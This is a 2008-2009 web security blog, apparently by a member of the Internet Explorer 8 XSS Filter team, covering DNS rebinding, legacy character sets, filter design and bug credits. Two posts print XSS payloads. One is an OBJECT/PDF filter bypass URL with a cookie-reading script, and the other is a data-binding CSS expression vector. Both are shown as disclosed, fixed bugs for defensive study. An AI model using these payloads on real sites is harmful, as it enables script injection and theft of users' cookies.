random dross

Current Thoughts on DNS Rebinding

2009-11-17T20:38:00Z

RSnake and Dan Kaminsky have been talking about session fixation via DNS Rebinding. As you may recall, an attacker can't abuse your Foo.com cookies in a rebinding attack, though they can walk your browser around Foo.com content and control the session. The gist of what these guys are talking about is how the attacker can log the victim into the attacker's session. Interesting stuff...

Dan and RSnake are big on server-side Host header validation as an anti-rebinding strategy. Every time I starting thinking about this, here's my basic train of thought:

Host header validation is simple, and simple is good. If you implement Host header validation at the server, it just works.
But what about everybody who doesn't conform? Most web sites don't conform today, and if they do it's not particularly intentional. I'd hate to see webappsec spend the next 10 years beating up the web properties that don't confirm. We'd inch the web towards real security in a sort of hostile manner. There must be a better way...
So coming at this from the other side -- what can the client-side do to help? The hope there is to not only empower the user to verify their rebinding defenses on any given site, but also to put leverage on the server-side to implement Host header validation (to avoid getting blocked at the more secure clients). As of now, a simple, practical, and comprehensive client-side anti-rebinding strategy remains elusive. And if client-enforced Host header validation requires a server-side tweak, say a Host header on the response, that puts us back to the problem in #2 above.
So with all of this, why isn’t "use SSL" the simple anti-rebinding strategy? In the near term, is there really a better answer?

Now, all this being said, I think the Rebinding threat is still yet to be fully defined. It's possible that some interesting anti-rebinding strategies we see will develop out of a need to address specific attack scenarios identified over time.

Thoughts on Legacy Character Sets

2009-11-03T21:21:00Z

One of the things I have taken from the IE XSS Filter project is a healthy fear of legacy character sets. If you've followed Chris Weber, Scott Stender, or Yosuke Hasegawa’s work, you know that even Unicode is... interesting. But at least in the Unicode world there are standards and evolving best practices dictating how clients and servers should behave.

How about the rest of the character sets commonly used on the web today? For example, if a web server produces ISO 2022 responses...
- How are escape sequences handled on input to the application?
- How are escape sequences handled in various components through which the input travels?
- How are escape sequences handled in server-side filtering code?
- How are escape sequences handled at any of the various browser clients?

You may ask the same questions about invalid multi-byte sequences, various character set eccentricities, etc. Character set handling may not be readily apparent at the highest levels of the stack, but transformations between character sets are actually common at the platform level on both the client and server.

The answers to the questions above have a real impact on an application's ability to defend itself from XSS. In order for developers to prevent XSS they must authoritatively block any XSS attack vector. There are more complicated constructs that may be useful as vectors depending on the injection context. For anyone who's written some code intending to prevent XSS, this is the commonly understood problem space. But character sets essentially open up a second dimension to the attack surface.

That is, developers must manage their untrusted data from its initial appearance in input out through its ultimate presentation to the victim user in an HTTP response. So the effectiveness of any filtering is not simply a matter of handling all of the applicable attack vectors that may exist in any given browser client. In fact, it is more complex due to the character set handling that may or may not have occurred before or after the point at which filtering occurs.

Specifications for legacy character sets tend to be vague, if they exist at all. Undefined behaviors have existed for so long, the consequences of seemingly benign code tweaks can be virtually untestable. Code changes involving character sets can break old documents in subtle ways.

The differences between how components handle a given character set is one source of vulnerability. But besides that, character set eccentricities may be well-defined and implemented consistently at the client and server, yet still enable vulnerabilities. Here are some examples where the complexities around character set handling have lead to vulnerabilities.

What do you think? It would be very interesting to see an analysis comparing popular server-side web platforms, other server-side components (SQL servers, etc.), and client-side technology in terms of how they handle the various character set issues across a wide range of supported character sets.

So... Would anyone not like to live in an all-Unicode world?

Here are some related resources from Shawn Steele, Windows / .Net globalization guru: http://blogs.msdn.com/shawnste/pages/code-pages-unicode-encodings.aspx

Good Bug

2009-05-29T01:37:00Z

Credit goes to Alex "Kuza55" Kouzemtchenko for identifying a weakness in the XSS Filter OBJECT tag heuristic. The original heuristic failed to properly sanitize OBJECT tags with the DATA attribute set. Alex found that it is possible to use the DATA attribute to instantiate the PDF handler, then reference content to be loaded using a PARAM element. This would load a remote PDF that would execute script in the context of the hosting page, effectively enabling XSS.

Example:
http://site.tld/foo.asp?FName=<object%20data=anything_at_all.pdf><param%20name=src%20value=http://othersite.tld/xss.pdf%20></param></object>

The PDF proof-of-concept contained:
getURL("vbscript:MsgBox document.cookie");

Thanks to Alex, we were able to address this bug for the IE8 final release.

The MSHTML (Trident) Host Security FAQ

2009-04-06T20:21:00Z

I've posted a two-part FAQ addressing security considerations for apps that host MSHTML. Check it out over at the SRD blog!

The MSHTML Host Security FAQ: Part I of II
The MSHTML Host Security FAQ: Part II of II

New webappsec tools

2009-03-25T21:33:00Z

Chris Weber's Watcher: http://www.lookout.net/2009/03/20/watcher-security-tool-a-free-web-app-security-testing-and-compliance-auditing-tool/

Watcher plugs into the Fidder HTTP proxy and monitors for all sorts of web app vulns, from the common to the obscure.

Gareth Heyes' XSS Rays: http://www.thespanner.co.uk/2009/03/25/xss-rays/

XSS Rays runs in the browser as a bookmarklet and scans for XSS on demand.

IE8 is here!

2009-03-19T23:02:00Z

http://www.microsoft.com/ie

What are you waiting for? Go get it!

XSS Filter Improvements in IE8 RC1

2009-01-31T00:30:00Z

I've just posted detail up on the SVRD Blog about some improvements and bug fixes to the XSS Filter feature in IE8 RC1.

Video Roundup (Martin Johns and more!)

2009-01-14T22:53:00Z

Recently I got Martin Johns connected with Helen Wang's group in Microsoft Research. Check out Martin's excellent talk @MSR, Secure Code Generation for Web Applications.

Here are a few other gems I discovered on content.digitalwell.washington.edu:

Techniques and Tools for Engineering Secure Web Applications
Gary Wassermann, 3/13/2008

Improving Software Security with Precise Static and Runtime Analysis
Benjamin Livshits, 6/26/2006

End-to-end Security for Web Applications: A Language-based Approach
Nikhil Swamy, 4/1/2008

ABE

2008-12-21T05:10:00Z

Giorgio Maone's new ABE project looks pretty cool.

Exposing the loose and often unnecessary boundaries between web applications shines a different light on some old problems in web application security. Enforcing greater formalization and limiting the attack surface presented by these boundaries is a great thing.

Yeah, yeah, I know, Giorgio doesn't like us, etc..., whatever. ;-)

XSSDS

2008-09-30T21:15:00Z

Björn Engelmann, Joachim Posegga, and LocalRodeo developer Martin Johns have authored an excellent paper on a new Cross-site Scripting detection system called XSSDS. Stay tuned to noxss.org for a new browser extension based on this technology. The XSSDS approach is similar in some ways to the IE8 XSS Filter approach, although it's worth noting that until recently Martin's team had no knowledge of our work in this space (and vice versa).

IE8 Beta 2

2008-08-30T01:18:00Z

If you haven’t already seen, Internet Explorer 8 Beta 2 is out – go get it!

Now is a good time to thank everyone who helped make the IE8 XSS Filter a reality. This project wouldn’t have been possible without your hard work, support, leadership, guidance, brainstorming, pentesting, coding, and testing.

THANK YOU:

Zhenya and Joe J

Keith Baston
Sarah Blankinship
Christopher Budd
Fergal Burke
Manuel Caballero
Tony Chor
Jeremy Dallman
Mark Debenham
Carl Edlund
Dave Forstrom
Michael Grady
Dean Hachamovitch
Robert “RSnake” Hansen
Yosuke Hasegawa
Damian Hasse
Ronald van den Heetkamp
Mario Heiderich
Matt Heller
Gareth Heyes
Michael Howard
Hidetake Jo
Dany Joly
Dan Kaminsky
Amit Klein
Kuza55
John Lambert
Eric Lawrence
David Lindsay
Steve Lipner
Spencer Low
Patrick Mann
Bronwen Matthews
Christian Matthies
Jack Mayo
Mark Miller
Katie Moussouris
Aviv Raff
Billy Rios
Harley Rosnow
Andrew Roths
Fermin J. Serna
Mark Shlimovich
Richard Shupak
Craig Spiezle
George Stathakopoulos
Cheng Peng Su
Matt Thomlinson
Jason Upton
Eduardo “sirdarckcat” Vela
Berend-Jan “SkyLined” Wever
Austin Wilson
Geng Yang

The IE Team
SWI

If I somehow managed to leave you out, please let me know.

Now on to RTM!

IE 8 XSS Filter Architecture / Implementation revealed + some other news

2008-08-19T23:29:00Z

I've just posted some detail on the Internet Explorer 8 XSS Filter Architecture / Implementation over on the SWI Blog. It would be great to get some feedback and answer any questions you may have -- just drop me a mail using the Email link to the left.

In other news, Gareth Heyes has been spending some time testing the XSS Filter implementation. Gareth has written up a post on the Bluehat blog about targeted fuzzing, specifically as applied to XSS.

And finally, it's worth mentioning that I'm now on Twitter!

IE8 XSS Filter design philosophy in-depth

2008-07-04T09:55:00Z

It's great to see some positive reaction to the potential of our XSS Filter. Now we just need to deliver!

In this blog post I’ll try to shed some light on our design philosophy.

To understand how we have arrived at our current filtering approach, it is useful to look back to the XSS Filter’s very beginnings. Version 1.0 of the XSS Filter prototype, originally released within Microsoft back in 2002, provided users with the following (ugly!) prompt:

Clearly this is not something that everyday users would understand or find acceptable! We needed to find a way to make the filtering automatic and painless and thus provide maximum benefit to users.

The approach we are taking today in Internet Explorer 8 doesn’t simply examine URL / POST data for evidence of XSS – it is capable of validating that an XSS attack has been replayed into the response. Having identified the replayed XSS, we then have the capability to neuter the XSS on the page in a highly targeted fashion. Thus, the XSS Filter can be effective without modifying an initial request to the server or blocking an entire response.

The detection of reflections hones our targeting as well – you can’t have “reflected XSS” without the reflection!

Our XSS Filter design goals do not equate success with blocking every conceivable attack technique. Consider that a reported bug might fall into one of the following categories:

Straightforward implementation flaws.

Example: A buffer overrun when a specially crafted URL is passed to the XSS Filter code.

Any feature, the XSS Filter included, must consider this to be a severe vulnerability.
Mechanisms to bypass the XSS Filter in the general sense.

Example: As the XSS Filter was being developed, we identified that URLs that including a %00 were processed by the XSS Filter in such a way that the %00 would decode to a null byte. This would result in termination of the string we were using to process the URL. A real attack could then pass through unfiltered after the null byte.

To be successful, the XSS Filter must address any issue like this that thwarts its overall effectiveness.
Mechanisms to bypass the XSS Filter’s protection for certain specific XSS attack scenarios.

Example #1: Internet Explorer 7 will effectively ignore the high-bit of each character on a page in the US-ASCII character set. So when a web page outputs a page in US-ASCII, or can be forced to do so, it was possible to bypass the XSS Filter by setting the high-bit on bytes in the querystring. (This is resolved in Internet Explorer 8.)

If we had not addressed this issue, the XSS Filter would be ineffective when the victim page used the US-ASCII character set (either by default or because it was forced). This would be a serious limitation of the XSS Filter but ultimately it wouldn’t be a deal-breaker – for the growing majority of sites using Unicode the XSS Filter’s effectiveness would remain unchallenged.

Example #2: The XSS Filter would not be effective if a web app were to ROT13 decode data from the querystring before replaying it back to the client. For attacks that depend on application-specific transformations, we will only attempt to make the XSS Filter effective where these transformations are identified to be pervasive.

We choose not to ROT13 decode URLs. :-)
Specific new XSS attack vectors.

Example: The following use of data binding will result in the execution of script within IE:

<xml id=cdcat><note><to>%26lt;span style=x:exp<![CDATA[r]]>ession(alert(3))%26gt;hello%26lt;/span%26gt;</to></note></xml><table border=%221%22 datasrc=%22%23cdcat%22><tr><td><span datafld=%22to%22 DATAFORMATAS=html></span></td></tr></table>

Note there is no SCRIPT tag present. There are many similar obscure script execution techniques present in all browsers. These are often called “XSS attack vectors” and many such techniques are archived on RSnake’s cheat sheet. The XSS Filter does handle this particular XSS attack vector.

In the general case, we recognize the need to address additional new reflected (Type-1) XSS attack vectors as they are identified.

Observe the distinctions between the different bug categories listed above. The most important takeaway is our level of pragmatism especially in category #3 above. We will not be lead to compromise the XSS Filter’s web site compatibility by attempting to address every conceivable XSS attack scenario.

In summary, the XSS Filter will prove its worth by raising the bar and mitigating the types of XSS most commonly found across the web today, by default, for users of Internet Explorer 8.

IE8 goes on the offensive against XSS!

2008-07-02T19:29:00Z

IE has announced the new XSS Filter feature which will debut in IE8 Beta 2! Stay tuned to my blog in the coming weeks for more details on how the filter works, its history, its limitations, and some lessons learned during the development process.

Lead my team!

2008-05-17T09:50:00Z

My team (SWI React) is hiring for a lead position. Details:

Job Title: Lead Software Development Engineer

Job Category: Software Development

Product: Trustworthy Computing

Date Posted: 02/16/2008

Job Code: 223577

Location: WA - Redmond

Travel Required:

Do you consider yourself a hacker? Is breaking code a passion? And more importantly, can you teach others how to leverage your thinking? Microsoft’s SWI React team is looking for a someone to lead an elite group of hackers on a mission to protect 440 million people from software vulnerabilities. As the Lead Security Software engineer, you will utilize both your world-class code hacking skills and passion for leading teams as you help deliver a superior, trustworthy set of products to our customers. You will be responsible for analyzing and performing penetration testing on all externally reported vulnerabilities across Microsoft’s diverse product base. To be considered for this position you must have:
     Passion for trustworthy computing & software security
     Ability to stay up to date and adapt to the ever evolving security ecosystem
     Proven people management skills with initiative around growing others
     Experience with organizational goal setting & KPI measurement
     Strong cross group collaboration capabilities - up, down and across.
     Deep customer and partner focus with the willingness to improve offerings and workflow
     Knowledge of common hacking/network tools, exploit writing, networking, cryptography, penetration testing, assembler is a plus.